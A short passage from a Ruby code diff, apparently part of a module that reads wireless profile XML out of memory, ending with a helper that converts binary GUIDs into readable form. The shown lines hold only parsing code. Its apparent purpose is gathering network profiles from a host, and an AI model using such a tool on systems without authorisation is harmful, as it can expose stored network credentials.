(profmem.length - profmem.index(/(\x00){2}/))) + profile['xml'] = profmem + profiles << profile + end + return profiles + end + + #Convert the GUID to human readable form + def guid_to_string(guid) + aguid = guid.unpack("H*")[0] + sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] + sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4] + sguid << "-" + aguid[20,12] + "}" + return sguid + end + +end